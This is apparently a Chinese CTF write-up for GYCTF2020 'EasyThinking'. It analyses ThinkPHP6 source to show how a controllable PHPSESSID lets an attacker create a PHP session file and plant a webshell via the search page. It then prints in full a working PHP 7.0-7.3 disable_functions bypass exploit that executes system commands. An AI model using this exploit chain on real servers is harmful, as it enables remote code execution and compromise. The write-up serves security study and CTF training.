2020_GYCTF

3. third day

3.1

3.2 [GYCTF2020]EasyThinking

3.2.1 考点：thinkphp6（session文件操作漏洞） + 提权

3.2.2 参考资料

1、ThinkPHP6 任意文件操作漏洞分析 https://paper.seebug.org/1114/

2、ThinkPHP6.0完全开发手册 https://www.kancloud.cn/manual/thinkphp6_0/

3、ThinkPHP6任意文件操作漏洞分析 https://blog.csdn.net/zhangchensong168/article/details/104106869

3.2.3 getshell

这个漏洞利用原理就是我们可以控制服务器所保存session文件的后缀名，改成php后又可以利用search页面往session文件里写shell。

3.2.3.1 session文件的创建过程

vendor/topthink/framework/src/think/session/Store.php

public function save(): void
{
$this->clearFlashData();

$sessionId = $this->getId();
#  创建sessionID
if (!empty($this->data)) {
$data = $this->serialize($this->data);
#  把data写入sessionID内
$this->handler->write($sessionId, $data);
} else {
$this->handler->delete($sessionId);
}

$this->init = false;
}

跟进write函数:vendor/topthink/framework/src/think/session/driver/File.php

public function write(string $sessID, string $sessData): bool
{
$filename = $this->getFileName($sessID, true);
$data     = $sessData;

if ($this->config['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

return $this->writeFile($filename, $data);
}

跟进writeFile函数：

protected function writeFile($path, $content): bool
{
return (bool) file_put_contents($path, $content, LOCK_EX);
}

整个写入过程，我们可以发现起始的$sessionId = $this->getId()是我们可以控制的。

3.2.3.2 传参作为session文件名

setId和getId：vendor/topthink/framework/src/think/session/Store.php

public function setId($id = null): void
{
$this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
}

/**
* 获取session_id
* @access public
* @return string
*/
public function getId(): string
{
return $this->id;
}

调用setId()的地方vendor/topthink/framework/src/think/middleware/SessionInit.php

public function handle($request, Closure $next)
{
// Session初始化
$varSessionId = $this->app->config->get('session.var_session_id');
$cookieName   = $this->session->getName();

if ($varSessionId && $request->request($varSessionId)) {
$sessionId = $request->request($varSessionId);
} else {
$sessionId = $request->cookie($cookieName);
    #  cookieName的值为PHPSESSID，而$sessionId是cookie中名为PHPSESSID的值，因此是攻击者可控的，从而导致写入的文件名可控。
}

if ($sessionId) {
$this->session->setId($sessionId);
}

$this->session->init();

$request->withSession($this->session);

/** @var Response $response */
$response = $next($request);

$response->setSession($this->session);

$this->app->cookie->set($cookieName, $this->session->getId());
    #  setcookie

return $response;
}

前面只是表示可以控制filename（即session文件名），但是默认环境下，session的内容由vendor/topthink/framework/src/think/session/Store.php的变量$data传入的，见写入过程的save函数。

$data在默认环境中为空： vendor/topthink/framework/src/think/session/Store.php

/**
* Session数据
* @var array
*/
protected $data = [];

写入的session内容是由实际的后端业务逻辑来决定的，所以说只有苛刻的条件下才能写入webshell。并且一开始就说了需要在环境开启session的情况下才可以实现任意文件操作（默认环境不开启session）

而thinkphp6开启session的方法：删除/app/middleware.php最后一行

<?php
// 全局中间件定义文件
return [
    // 全局请求缓存
    // \think\middleware\CheckRequestCache::class,
    // 多语言加载
    // \think\middleware\LoadLangPack::class,
    // Session初始化
    \think\middleware\SessionInit::class
];

3.2.3.3 session文件任意写入内容

而本题是在search页面下写入shell的，app\home\controller\member.php

public function search()
{
    if (Request::isPost()){
        if (!session('?UID'))
            #  注册后，后台会留下session，这一步相当于验证后台session
        {
            return redirect('/home/member/login');            
        }
        $data = input("post.");
        #  post的内容是key=content
        $record = session("Record");
        if (!session("Record"))
        {
            session("Record",$data["key"]);
            #  相当于把post的内容写到session了
        }
        else
        {
            $recordArr = explode(",",$record);
            $recordLen = sizeof($recordArr);
            #  返回数组中元素的数目
            if ($recordLen >= 3){
                array_shift($recordArr);
                #  array_shift() 函数删除数组中第一个元素，并返回被删除元素的值。
                session("Record",implode(",",$recordArr) . "," . $data["key"]);
                #  session一直保持两个元素
                return View::fetch("result",["res" => "There's nothing here"]);
            }

        }
        session("Record",$record . "," . $data["key"]);
        return View::fetch("result",["res" => "There's nothing here"]);
    }else{
        return View("search");
    }
}

3.2.4 解题过程

step1：注册，登陆页面修改PHPSESSION

step2：查看session文件内容

session文件储存在runtime/session/sess_986a2049b7790689c6aa6e50a73e.php

step3：search页面写入一句话木马

step4：提权

提权脚本：

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;

        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

访问：runtime/session/exp.php得到flag